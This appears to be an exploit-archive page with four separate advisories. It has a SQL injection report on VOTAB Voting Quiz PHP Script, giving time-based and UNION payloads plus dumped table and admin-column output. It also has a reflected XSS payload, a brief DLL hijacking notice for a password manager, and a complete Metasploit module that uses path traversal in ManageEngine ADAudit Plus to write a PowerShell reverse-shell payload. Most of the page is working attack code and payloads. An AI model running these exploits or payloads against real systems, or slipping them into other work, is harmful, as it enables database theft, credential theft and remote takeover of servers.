<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />││ C r a C k E r ┌┘<br />┌┘ T H E C R A C K O F E T E R N A L M I G H T ││<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /> ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ [ Vulnerability ] ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: Author : CraCkEr :<br />│ Website : codesler.com │<br />│ Vendor : Codesler - Rohit Chouhan (codester.com) │<br />│ Software : VOTAB - Voting Quiz PHP Script 1.0 │<br />│ Vuln Type: SQL Injection │<br />│ Impact : Database Access │<br />│ │<br />│────────────────────────────────────────────────────────────────────────────────────────│<br />│ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: :<br />│ Release Notes: │<br />│ ═════════════ │<br />│ │<br />│ SQL injection attacks can allow unauthorized access to sensitive data, modification of │<br />│ data and crash the application or make it unavailable, leading to lost revenue and │<br />│ damage to a company's reputation. │<br />│ │<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br />Greets:<br /><br /> The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL <br /> <br /> CryptoJob (Twitter) twitter.com/0x0CryptoJob<br /> <br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ © CraCkEr 2023 ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br />Path: /search.php<br /><br />https://website/search.php?q=[SQLI]<br /><br />GET parameter 'q' is vulnerable to SQL Injection<br /><br />---<br />Parameter: q (GET)<br /> Type: time-based blind<br /> Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)<br /> Payload: q=' AND (SELECT 5257 FROM (SELECT(SLEEP(5)))xauk) AND 'xYsK'='xYsK<br /><br /> Type: UNION query<br /> Title: Generic UNION query (NULL) - 11 columns<br /> Payload: q=' UNION ALL SELECT CONCAT(0x71707a7171,0x53474f4b726f5a754b696a76766959614569735371744d4d6d7a646a7069654b6666795967414a47,0x7176786b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -<br />---<br /><br /><br />[+] Starting the Attack<br /><br />fetching current database<br />current database: '**401**_votab'<br /><br /><br />fetching tables<br /><br />+---------------+<br />| activity |<br />| admin |<br />| settings |<br />| smtp_settings |<br />| users |<br />| vote |<br />| votes |<br />+---------------+<br /><br /><br />fetching columns for table 'admin'<br /><br />[4 columns]<br />+----------+-------------+<br />| Column | Type |<br />+----------+-------------+<br />| id | int(11) |<br />| name | text |<br />| password | varchar(20) |<br />| username | varchar(20) |<br />+----------+-------------+<br /><br /><br />[-] Done<br /></code></pre>
<pre><code>┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />││ C r a C k E r ┌┘<br />┌┘ T H E C R A C K O F E T E R N A L M I G H T ││<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /> ┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ [ Vulnerability ] ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: Author : CraCkEr :<br />│ Website : codesler.com │<br />│ Vendor : Codesler - Rohit Chouhan (codester.com) │<br />│ Software : VOTAB - Voting Quiz PHP Script 1.0 │<br />│ Vuln Type: Reflected XSS │<br />│ Impact : Manipulate the content of the site │<br />│ │<br />│────────────────────────────────────────────────────────────────────────────────────────│<br />│ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br />: :<br />│ Release Notes: │<br />│ ═════════════ │<br />│ The attacker can send to victim a link containing a malicious URL in an email or │<br />│ instant message can perform a wide variety of actions, such as stealing the victim's │<br />│ session token or login credentials │<br />│ │<br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br />Greets:<br /><br /> The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL <br /> <br /> CryptoJob (Twitter) twitter.com/0x0CryptoJob<br /> <br />┌┌───────────────────────────────────────────────────────────────────────────────────────┐<br />┌┘ © CraCkEr 2023 ┌┘<br />└───────────────────────────────────────────────────────────────────────────────────────┘┘<br /><br /><br />Path: /search.php<br /><br />GET parameter 'q' is vulnerable to RXSS<br /><br />https://website/search.php?q=drmmt<script>alert(1)</script>tehb4<br /><br /><br />[-] Done<br /></code></pre>
<pre><code># Title:<br /><br />Soft-o Free Password Manager 1.1.20 DLL hijacking<br /><br /># Credit:<br /><br />Christian Bortone<br /><br /># CVE:<br /><br />CVE-2023-25428<br /><br /># Date:<br /><br />08/05/2023 (dd/mm/yyyy)<br /><br /># Details:<br /><br />PMHook.dll is vulnerable to DLL hijacking attacks. An attacker can launch a DLL hijacking attack by placing a malicious DLL named PMHook.dll in the target system directory and exploiting vulnerabilities in the DLL loading mechanism.<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /><br /> Rank = ExcellentRanking<br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::Remote::HTTP::ManageEngineAdauditPlus<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'ManageEngine ADAudit Plus Authenticated File Write RCE',<br /> 'Description' => %q{<br /> This module exploits security issues in ManageEngine ADAudit Plus<br /> prior to 7006 that allow authenticated users to execute arbitrary<br /> code by creating a custom alert profile and leveraging its custom<br /> alert script component.<br /><br /> The module first runs a few checks to test the provided<br /> credentials, retrieve the configured domain(s) and obtain the<br /> build number of the target ADAudit Plus server.<br /><br /> If the credentials are valid and the target is<br /> vulnerable, the module creates an alert profile that will be<br /> triggered for any failed login attempt to the configured domain.<br /><br /> For versions prior to build 7004, the payload is directly inserted<br /> in the custom alert script component of the alert profile.<br /><br /> For versions 7004 and 7005, the module leverages an arbitrary file<br /> write vulnerability (CVE-2021-42847) to create a Powershell script<br /> in the alert_scripts directory that contains the payload. The name<br /> of this script is then provided as the value for the custom alert<br /> script component of the alert profile.<br /><br /> This module requires valid credentials for an account with the<br /> privileges to create alert scripts. It has been successfully tested<br /> against ManageEngine ADAudit Plus builds 7003 and 7005 running on<br /> Windows Server 2012 R2.<br /><br /> Successful exploitation will result in RCE as the user running<br /> ManageEngine ADAudit Plus, which will typically be the local<br /> administrator.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'Moon', # CVE-2021-42847 discovery<br /> 'Erik Wynter' # @wyntererik - Additional research and Metasploit module<br /> ],<br /> 'References' => [<br /> ['CVE', '2021-42847'],<br /> ['URL', 'https://pitstop.manageengine.com/portal/en/community/topic/fix-released-for-a-vulnerability-in-manageengine-adaudit-plus'],<br /> ['URL', 'https://www.manageengine.com/products/active-directory-audit/adaudit-plus-release-notes.html']<br /> ],<br /> 'Privileged' => true,<br /> 'DisclosureDate' => '2021-10-01',<br /> 'Platform' => 'win',<br /> 'Arch' => ARCH_CMD,<br /> 'Targets' => [<br /> [<br /> 'Windows Command',<br /> {<br /> 'Type' => :win_cmd,<br /> 'Arch' => ARCH_CMD,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'<br /> }<br /> }<br /> ]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => {<br /> 'RPORT' => 8081,<br /> 'WfsDelay' => 5 # triggering the payload may take a bit, let's not be too hasty<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [FIRST_ATTEMPT_FAIL], # This exploit may fail on its first few attempts whilst the remote system is processing alert updates.<br /> 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]<br /> }<br /> )<br /> )<br /><br /> register_options([<br /> OptString.new('TARGETURI', [true, 'The base path to ManageEngine ADAudit Plus', '/']),<br /> OptString.new('AUTH_DOMAIN', [true, 'ADAudit Plus authentication domain (default is ADAuditPlus Authentication)', 'ADAuditPlus Authentication']),<br /> OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),<br /> OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin']),<br /> ])<br /> end<br /><br /> def auth_domain<br /> datastore['AUTH_DOMAIN']<br /> end<br /><br /> def username<br /> datastore['USERNAME']<br /> end<br /><br /> def password<br /> datastore['PASSWORD']<br /> end<br /><br /> def delete_alert(adapcsrf_cookie)<br /> print_status("Attempting to delete alert profile #{@alert_name}")<br /> # let's try and get the the ID of the alert we want to delete<br /> res_get_alert = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'leftTrees', 'getLeftTreeList'),<br /> 'method' => 'POST',<br /> 'keep_cookies' => true,<br /> 'vars_post' => {<br /> 'TAB_ID' => '5', # this cannot be randomized<br /> 'adapcsrf' => adapcsrf_cookie<br /> }<br /> })<br /><br /> unless res_get_alert<br /> print_warning("Connection failed when attempting to obtain the alert profile ID #{@alert_name}. Manual cleanup required.")<br /> return<br /> end<br /><br /> unless res_get_alert.code == 200 && !res_get_alert.body.empty?<br /> print_warning("Received unexpected reply when attempting to obtain the alert profile ID #{@alert_name}. Manual cleanup required.")<br /> return<br /> end<br /><br /> alert_id = res_get_alert.body&.scan(/modelId":(\d+),"name":"#{@alert_name}/)&.flatten&.first<br /> if alert_id.blank?<br /> print_warning("Failed to obtain the alert profile ID #{@alert_name}. Manual cleanup required.")<br /> return<br /> end<br /><br /> # delete the alert<br /> res_delete_alert = send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'config', 'alertprofiles', 'delete'),<br /> 'method' => 'POST',<br /> 'keep_cookies' => true,<br /> 'vars_post' => {<br /> 'data' => { 'ids' => [alert_id] }.to_json,<br /> 'adapcsrf' => adapcsrf_cookie<br /> }<br /> })<br /><br /> unless res_delete_alert<br /> print_warning("Connection failed when attempting to delete alert profile #{@alert_name}. Manual cleanup required.")<br /> return<br /> end<br /><br /> unless res_delete_alert.code == 200 && res_delete_alert.body&.include?('Successfully deleted the alert profile')<br /> print_warning("Received unexpected reply when attempting to delete alert profile #{@alert_name}. Manual cleanup required.")<br /> return<br /> end<br /><br /> print_good("Successfully deleted alert profile #{@alert_name}")<br /> end<br /><br /> def create_alert_profile<br /> if @exploit_method == 'cve_2021_42847'<br /> print_status('Attempting to authenticate again in order to retrieve the required cookies.')<br /> # We have to authenticate again in order to get the required cookie, so reset the cookie cache<br /> cookie_jar.clear<br /> login_results = adaudit_plus_login(auth_domain, username, password, true)<br /> login_msg = login_results['message']<br /> case login_results['status']<br /> when adaudit_plus_status::CONNECTION_FAILED<br /> fail_with(Failure::Unreachable, login_msg)<br /> when adaudit_plus_status::UNEXPECTED_REPLY<br /> fail_with(Failure::UnexpectedReply, login_msg)<br /> when adaudit_plus_status::NO_ACCESS<br /> fail_with(Failure::NoAccess, login_msg)<br /> when adaudit_plus_status::SUCCESS<br /> # just to distinguish it from any other potential statuses this method may return in the future<br /> else<br /> # this covers other potential statuses that this method may return in the future<br /> # note that here the login method should never return adaudit_plus_status::NO_DOMAINS<br /> # however, if it would do so due to some library change, treating it as an unknown failure makes sense<br /> fail_with(Failure::Unknown, login_msg)<br /> end<br /><br /> # Code must have been a success related code so we should have<br /> # an adapcsrf_cookie entry within the login results hash.<br /> @adapcsrf_cookie = login_results['adapcsrf_cookie']<br /> end<br /><br /> print_status('Attempting to create an alert profile')<br /> # visit /api/json/jsMessage to see if we're dealing with 7003 or lower<br /> res_check_7004 = send_request_cgi({<br /> 'uri' => adaudit_api_js_message_uri,<br /> 'method' => 'POST',<br /> 'keep_cookies' => true,<br /> 'vars_post' => { 'adapcsrf' => @adapcsrf_cookie }<br /> })<br /><br /> unless res_check_7004<br /> fail_with(Failure::Unreachable, 'Connection failed when trying to get the required info via /api/json/jsMessage')<br /> end<br /><br /> unless res_check_7004.code == 200 && res_check_7004.body&.include?('adap_common_script_info')<br /> fail_with(Failure::UnexpectedReply, 'Received unexpected response when trying to get the required info via /api/json/jsMessage')<br /> end<br /><br /> alert_script_7004_msg = 'Your alert profile script path configuration is not compliant with the constraints listed below and needs to '\<br /> 'be changed. These constraints have been introduced in the latest build of ADAudit Plus 7004, to enhance security'<br /><br /> if res_check_7004.body&.include?(alert_script_7004_msg)<br /> # we are dealing with 7004 or higher, so exploitation can only succeed if the target is vulnerable to CVE-2021-42847<br /> unless @exploit_method == 'cve_2021_42847'<br /> # let's check for the CVE-2021-42847 endpoint in case the user has disabled autocheck<br /> gpo_watcher_status = gpo_watcher_data_check<br /> if gpo_watcher_status == adaudit_plus_status::SUCCESS<br /> @exploit_method = 'cve_2021_42847'<br /> else<br /> fail_with(Failure::NotVulnerable, 'The target is build 7004 or up and not vulnerable to CVE-2021-42847. Exploitation is not possible.')<br /> end<br /><br /> # here we have to authenticate again in order to get the required adapcsrf cookie<br /> cookie_jar.clear<br /> login_results = adaudit_plus_login(auth_domain, username, password, true)<br /> login_msg = login_results['message']<br /> case login_results['status']<br /> when adaudit_plus_status::CONNECTION_FAILED<br /> fail_with(Failure::Unreachable, login_msg)<br /> when adaudit_plus_status::UNEXPECTED_REPLY<br /> fail_with(Failure::UnexpectedReply, login_msg)<br /> when adaudit_plus_status::NO_ACCESS<br /> fail_with(Failure::NoAccess, login_msg)<br /> when adaudit_plus_status::SUCCESS<br /> # just to distinguish it from any other potential statuses this method may return in the future<br /> else<br /> fail_with(Failure::Unknown, login_msg)<br /> end<br /><br /> @adapcsrf_cookie = login_results['adapcsrf_cookie']<br /> end<br /><br /> # We need to leverage CVE-2021-42847 to create a PowerShell script in /alert_scripts and then use the script name<br /> # when creating the alert profile. Therefore call the function to create this alert script and save the name of the<br /> # script location.<br /> @ps1_script_name = create_alert_script<br /> end<br /><br /> # save the alert profile<br /> @alert_name, alert_data = alert_profile_info<br /> res_save_alert = send_request_cgi({<br /> 'uri' => adaudit_api_alertprofiles_save_uri,<br /> 'method' => 'POST',<br /> 'keep_cookies' => true,<br /> 'vars_post' => {<br /> 'data' => alert_data,<br /> 'adapcsrf' => @adapcsrf_cookie<br /> }<br /> })<br /><br /> unless res_save_alert<br /> fail_with(Failure::Unreachable, "Connection failed when trying to create an alert profile via #{adaudit_api_alertprofiles_save_uri}")<br /> end<br /><br /> unless res_save_alert.code == 200 && res_save_alert.body&.include?('Successfully Saved the Alert Profile')<br /> print_error("The server sent the following response: #{res_save_alert.body&.strip}")<br /> @alert_name = nil # if we are here the alert profile was not created so let's skip cleanup by setting @alert_name to nil<br /> fail_with(Failure::UnexpectedReply, "Failed to create an alert profile via #{adaudit_api_alertprofiles_save_uri}")<br /> end<br /><br /> print_good("Successfully created alert profile #{@alert_name}")<br /> end<br /><br /> def alert_profile_info<br /> script_location = @ps1_script_name || payload.encoded<br /><br /> alert_name = rand_text_alphanumeric(8..12)<br /> alert_data = {<br /> 'alertName' => alert_name,<br /> 'alertDescription' => rand_text_alpha(20..30),<br /> 'alertSeverity' => '1',<br /> 'alertMsg' => '%FORMAT_MESSAGE%',<br /> 'alertIsMailNotify' => false,<br /> 'alertIsSMSNotify' => false,<br /> 'monitorList' => [1],<br /> 'selectedCategory' => 'All',<br /> 'domainName' => @domain,<br /> 'isSave' => true,<br /> 'alertProfileId' => 'new',<br /> 'thresholdBasedAlert' => false,<br /> 'thresholdCount' => rand(5..15),<br /> 'thresholdPeriod' => '=',<br /> 'thresholdInterval' => rand(3..10),<br /> 'thresholdGroupingColumns' => [],<br /> 'throttleBasedAlert' => false,<br /> 'throttleInterval' => rand(30..90),<br /> 'throttleGroupingColumns' => [],<br /> 'userMap' => {},<br /> 'hourBasedAlert' => false,<br /> 'contentType' => 'html',<br /> 'alertMsgNeeded' => true,<br /> 'alertProfileNameNeeded' => true,<br /> 'mailAlertLink' => '',<br /> 'eventDetails' => true,<br /> 'emailMoreRecipients' => '',<br /> 'smsMoreRecipients' => '',<br /> 'scriptLocation' => script_location,<br /> 'alertFilter' => false,<br /> 'criteriaValue' => '-'<br /> }.to_json<br /><br /> # we need to send along the alert name too since we'll need it to delete the alert after it's been created<br /> [alert_name, alert_data]<br /> end<br /><br /> def create_alert_script<br /> ps1_script_name = "#{rand_text_alpha_lower(5..10)}.ps1"<br /> print_status("Attempting to write the payload to /alert_scripts/#{ps1_script_name}")<br /><br /> if @domain.blank?<br /> @domain = "#{rand_text_alpha_lower(5..10)}.local"<br /> vprint_status("Using domain #{@domain} for the name of the directory we will be creating")<br /> end<br /><br /> gpo_post_data = {<br /> 'DOMAIN_NAME' => @domain,<br /> 'Html_fileName' => "..\\..\\..\\..\\..\\alert_scripts\\#{ps1_script_name}", # the traversal path to alert_scripts should always be correct no matter where ADAudit Plus is installed<br /> 'htmlReport' => payload.encoded<br /> }<br /><br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => adaudit_plus_gpo_watcher_data_uri,<br /> 'ctype' => 'application/json',<br /> 'data' => generate_gpo_watcher_data_json(gpo_post_data)<br /> })<br /><br /> unless res<br /> fail_with(Failure::Unreachable, 'Connection failed')<br /> end<br /><br /> unless res.code == 200 && res.body&.include?('{"success":true}')<br /> fail_with(Failure::UnexpectedReply, 'Failed to upload the payload.')<br /> end<br /><br /> print_good("Successfully wrote the payload to /alert_scripts/#{ps1_script_name} in the ManageEngine ADAudit Plus install directory")<br /> ps1_script_name<br /> end<br /><br /> def check<br /> target_check_results = adaudit_plus_target_check<br /> target_check_msg = target_check_results['message']<br /> case target_check_results['status']<br /> when adaudit_plus_status::CONNECTION_FAILED<br /> return CheckCode::Unknown(target_check_msg)<br /> when adaudit_plus_status::UNEXPECTED_REPLY<br /> return CheckCode::Safe(target_check_msg)<br /> when adaudit_plus_status::SUCCESS<br /> vprint_status(target_check_msg)<br /> else<br /> # this covers cases that may be added in the future<br /> return CheckCode::Unknown(target_check_msg)<br /> end<br /><br /> target_check_res = target_check_results['server_response']<br /><br /> # In order to trigger the final payload in the exploit method, we will need to send an authentication request to<br /> # ADAudit Plus with incorrect Active Directory credentials if the user didn't provide an Active Directory domain,<br /> # we can try to extract the FQDN for a configured domain from the server response<br /> domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res)<br /> domain_alias_msg = domain_alias_results['message']<br /> if domain_alias_results['status'] == adaudit_plus_status::NO_DOMAINS<br /> return CheckCode::Safe(domain_alias_msg)<br /> end<br /><br /> domain_aliases = domain_alias_results['domain_aliases']<br /> # check if we actually have any configured domain aliases now, otherwise the target isn't exploitable<br /> if domain_aliases.blank?<br /> return CheckCode::Safe('Failed to verify if any Active Directory domains are configured on the target.')<br /> end<br /><br /> # if the only configured domain is the default domain, we will not be able to trigger the payload, so<br /> # stop as there is no point in proceeding<br /> if domain_aliases == ['ADAuditPlus Authentication']<br /> return CheckCode::Safe('No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.')<br /> end<br /><br /> # set the domain alias to the first configured domain, unless the user provided an invalid domain<br /> # in the latter case, the module won't be able to authenticate to the target so there's no point in proceeding<br /> if auth_domain == 'ADAuditPlus Authentication' || domain_aliases.include?(auth_domain)<br /> vprint_status(domain_alias_msg)<br /> @domain_alias = domain_aliases.first<br /> print_status("Using configured authentication domain alias #{@domain_alias}.")<br /> else<br /> # this means the user provided an authentication domain that isn't actually configured on the target, so authentication cannot succeed<br /> print_status(domain_alias_msg)<br /> return CheckCode::Detected("The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).")<br /> end<br /><br /> print_status("Attempting to authenticate to #{auth_domain} with username: #{username} and password: #{password}")<br /> login_results = adaudit_plus_login(auth_domain, username, password, false)<br /> login_msg = login_results['message']<br /> case login_results['status']<br /> when adaudit_plus_status::CONNECTION_FAILED, adaudit_plus_status::UNEXPECTED_REPLY<br /> return CheckCode::Unknown(login_msg)<br /> when adaudit_plus_status::NO_ACCESS, NO_DOMAINS<br /> # if we cannot authenticate, we can't create an alert profile so exploitation is impossible<br /> # if no domains are configured, we cannot trigger the payload and therefore exploitation is impossible<br /> return CheckCode::Safe(login_msg)<br /> when adaudit_plus_status::SUCCESS<br /> @domain = login_results['configured_domains'].first<br /> vprint_status("Using domain #{@domain} for the name of the directory we will be creating")<br /> end<br /><br /> print_good('Successfully authenticated')<br /> @adapcsrf_cookie = login_results['adapcsrf_cookie']<br /><br /> # check the build version to see if we can actually exploit the target<br /> build_results = adaudit_plus_grab_build(@adapcsrf_cookie)<br /> build_msg = build_results['message']<br /> unless build_results['status'] == adaudit_plus_status::SUCCESS<br /> # if we don't get a valid build number, we don't know what the target is, so we can't proceed<br /> # however, we can also not say that the target is safe or detected, so we return Unknown<br /> return CheckCode::Unknown(build_msg)<br /> end<br /><br /> build_version = build_results['build_version']<br /><br /> if build_version < Rex::Version.new('7004')<br /> @exploit_method = 'default'<br /> CheckCode::Appears("The target is ADAudit Plus #{build_version}")<br /> # For builds 7004 and 7005 exploitation will still be possible via CVE-2021-42847 if the vulnerable endpoint exists<br /> elsif build_version < Rex::Version.new('7006')<br /> gpo_watcher_status = gpo_watcher_data_check<br /> case gpo_watcher_status<br /> when adaudit_plus_status::SUCCESS<br /> @exploit_method = 'cve_2021_42847'<br /> return CheckCode::Appears("The target is ADAudit Plus #{build_version} and the endpoint for CVE-2021-42847 exists.")<br /> when adaudit_plus_status::CONNECTION_FAILED<br /> return CheckCode::Detected("The target is ADAudit Plus #{build_version} but the connection failed when checking for the CVE-2021-42847 endpoint")<br /> when adaudit_plus_status::NO_ACCESS<br /> return CheckCode::Safe("The target is ADAudit Plus #{build_version} but the endpoint for CVE-2021-42847 is not accessible.")<br /> end<br /> else<br /> CheckCode::Safe("The target is ADAudit Plus #{build_version}")<br /> end<br /> end<br /><br /> def exploit<br /> if @exploit_method.nil? # this means the user has disabled autocheck so we should try the default exploit method<br /> @exploit_method = 'default'<br /> elsif @exploit_method == 'cve_2021_42847' && datastore['PAYLOAD'] =~ /meterpreter/<br /> print_warning('Exploitation is possible only via CVE-2021-42847. This attack vector may fail in combination with a meterpreter payload.')<br /> print_warning('If exploitation fails, consider setting the payload back to the default cmd/windows/powershell_reverse_tcp payload')<br /> end<br /><br /> if @adapcsrf_cookie.blank?<br /> # let's clear the cookie jar and try to authenticate<br /> cookie_jar.clear<br /> print_status("Attempting to authenticate to #{@domain_alias} with username: #{username} and password: #{password}")<br /> login_results = adaudit_plus_login(auth_domain, username, password, false)<br /> login_msg = login_results['message']<br /> case login_results['status']<br /> when adaudit_plus_status::CONNECTION_FAILED<br /> fail_with(Failure::Unreachable, login_msg)<br /> when adaudit_plus_status::UNEXPECTED_REPLY<br /> fail_with(Failure::UnexpectedReply, login_msg)<br /> when adaudit_plus_status::NO_ACCESS<br /> fail_with(Failure::NoAccess, login_msg)<br /> when adaudit_plus_status::NO_DOMAINS<br /> fail_with(Failure::NotVulnerable, login_msg)<br /> when adaudit_plus_status::SUCCESS<br /> @domain = login_results['configured_domains'].first<br /> vprint_status("Using domain #{@domain} for the name of the directory we will be creating")<br /> else<br /> # this covers other potential statuses that may be added in the future<br /> fail_with(Failure::Unknown, login_msg)<br /> end<br /><br /> print_good('Successfully authenticated')<br /> @adapcsrf_cookie = login_results['adapcsrf_cookie']<br /> end<br /><br /> # let's create the alert profile<br /> create_alert_profile<br /><br /> # time to trigger the payload<br /> if @domain_alias.nil?<br /> # this means check didn't run, so we need to obtain the configured Active Directory domains<br /> target_check_results = adaudit_plus_target_check<br /> target_check_status = target_check_results['status']<br /> target_check_msg = target_check_results['message']<br /> unless target_check_status == adaudit_plus_status::SUCCESS<br /> print_error('Failed to obtain the configured Active Directory domain aliases')<br /> case target_check_status<br /> when adaudit_plus_status::CONNECTION_FAILED<br /> fail_with(Failure::Unreachable, target_check_msg)<br /> when adaudit_plus_status::UNEXPECTED_REPLY<br /> fail_with(Failure::UnexpectedReply, target_check_msg)<br /> else<br /> # this covers other potential statuses that this method may return in the future<br /> fail_with(Failure::Unknown, target_check_msg)<br /> end<br /> end<br /><br /> target_check_res = target_check_results['server_response']<br /> fail_with(Failure::UnexpectedReply, 'No body in the server response when performing a target version check!') if target_check_res.body.blank?<br /><br /> # In order to trigger the final payload in the exploit method, we will need to send an authentication request to<br /> # ADAudit Plus with incorrect Active Directory credentials. If the user didn't provide an Active Directory domain,<br /> # we can try to extract the FQDN for a configured domain from the server response.<br /> domain_alias_results = adaudit_plus_grab_domain_aliases(target_check_res.body)<br /> domain_alias_msg = domain_alias_results['message']<br /> case domain_alias_results['status']<br /> when adaudit_plus_status::NO_DOMAINS<br /> fail_with(Failure::NotVulnerable, domain_alias_msg)<br /> when adaudit_plus_status::SUCCESS<br /> # make sure we actually have a domain alias, otherwise the target is not vulnerable<br /> if domain_alias_results['domain_aliases'].blank?<br /> fail_with(Failure::NotVulnerable, 'Failed to verify if any Active Directory domains are configured on the target.')<br /> end<br /> else<br /> fail_with(Failure::Unknown, domain_alias_msg)<br /> end<br /><br /> domain_aliases = domain_alias_results['domain_aliases']<br /> # if the only configured domain is the default domain, we will not be able to trigger the payload, so there is no point to proceed<br /> if domain_aliases == ['ADAuditPlus Authentication']<br /> fail_with(Failure::NoTarget, 'No Active Directory domains are configured on the target, so the module will not be able to trigger the payload.')<br /> end<br /><br /> # set the domain alias to the first configured domain, unless the user provided an invalid domain<br /> # in the latter case, the module won't be able to authenticate to the target so there's no point to proceed<br /> if auth_domain == 'ADAuditPlus Authentication' || domain_aliases&.include?(auth_domain)<br /> vprint_status(domain_alias_msg)<br /> @domain_alias = domain_aliases.first<br /> print_status("Using configured authentication domain alias #{@domain_alias}.")<br /> else<br /> # this means the user provided an authentication domain that isn't actually configured on the target, so authentication cannot succeed<br /> print_status(domain_alias_msg)<br /> fail_with(Failure::BadConfig, "The provided AUTH_DOMAIN #{auth_domain} does not match the configured authentication domain(s).")<br /> end<br /> end<br /><br /> print_status("Attempting to trigger the payload via an authentication attempt for domain #{@domain_alias} using incorrect credentials.")<br /> login_results = adaudit_plus_login(@domain_alias, rand_text_alphanumeric(5..8), rand_text_alphanumeric(8..12), true)<br /> login_msg = login_results['message']<br /> manual_trigger_msg = "You can try to manually trigger the payload via a failed login attempt for the #{@domain_alias} domain."<br /> case login_results['status']<br /> when adaudit_plus_status::CONNECTION_FAILED<br /> fail_with(Failure::Unreachable, "#{login_msg} #{manual_trigger_msg}")<br /> when adaudit_plus_status::UNEXPECTED_REPLY<br /> fail_with(Failure::UnexpectedReply, "#{login_msg} #{manual_trigger_msg}")<br /> when adaudit_plus_status::NO_ACCESS<br /> print_status("Received expected reply when trying to trigger the payload. Let's hope we get a shell...")<br /> when adaudit_plus_status::SUCCESS<br /> fail_with(Failure::Unknown, "Somehow authentication succeeded, which means the payload was not triggered. #{manual_trigger_msg}")<br /> else<br /> print_warning('Received unknown error code when trying to trigger the payload. The module will continue but exploitation will likely fail.')<br /> end<br /><br /> @pwned = 0 # used to keep track of successful exploitation and the number of shells we get in cleanup and on_new_session<br /> end<br /><br /> def cleanup<br /> return unless @alert_name # this should only run if we actually created an alert<br /><br /> if @pwned == 0<br /> print_error('Failed to obtain a shell. You could try increasing the WfsDelay value')<br /> end<br /> cookie_jar.clear<br /> login_results = adaudit_plus_login(auth_domain, username, password, true)<br /> case login_results['status']<br /> when adaudit_plus_status::SUCCESS<br /> delete_alert(login_results['adapcsrf_cookie'])<br /> when adaudit_plus_status::CONNECTION_FAILED<br /> print_warning('Connection failed when trying to authenticate in order to perform cleanup. Manual cleanup required.')<br /> when adaudit_plus_status::UNEXPECTED_REPLY<br /> print_warning('Received unexpected reply when trying to authenticate in order to perform cleanup. Manual cleanup required.')<br /> when adaudit_plus_status::NO_ACCESS<br /> print_warning('Failed to authenticate in order to perform cleanup. Manual cleanup required.')<br /> else<br /> # this covers other potential statuses that this method may return in the future<br /> # note that here the login method should never return adaudit_plus_status::NO_DOMAINS<br /> # however, if it would do so due to some library change, treating it as unexpected reply makes sense<br /> print_warning('Received unknown error code when trying to authenticate in order to perform cleanup. Manual cleanup required.')<br /> end<br /> end<br /><br /> def on_new_session(cli)<br /> @pwned += 1<br /> # if we wrote a PowerShell script to /alert_scripts, remind the user to delete it<br /> # we may get two shells, so let's not repeat ourselves<br /> if @pwned == 1<br /> # I noticed the the meterpreter payloads wouldn't always load stdapi and/or priv automatically<br /> # but when loading them manually, they worked it fine<br /> if datastore['PAYLOAD'] =~ /meterpreter/ # I tried using cli.type == 'meterpreter' but that broke the module for some reason<br /> print_warning("If the client portion of stdapi or priv fails to load, you can do so manually via 'load stdapi' and/or load priv'")<br /> end<br /><br /> if @ps1_script_name<br /> # meterpreter payloads seem incompatible with CVE-2021-42847, so it's very unlikely we'll ever be able to automatically remove the ps1 script<br /> print_warning("Make sure to manually cleanup the #{@ps1_script_name} file from /alert_scripts/ in the ManageEngine ADAudit Plus install directory")<br /> end<br /> end<br /> super<br /> end<br />end<br /></code></pre>
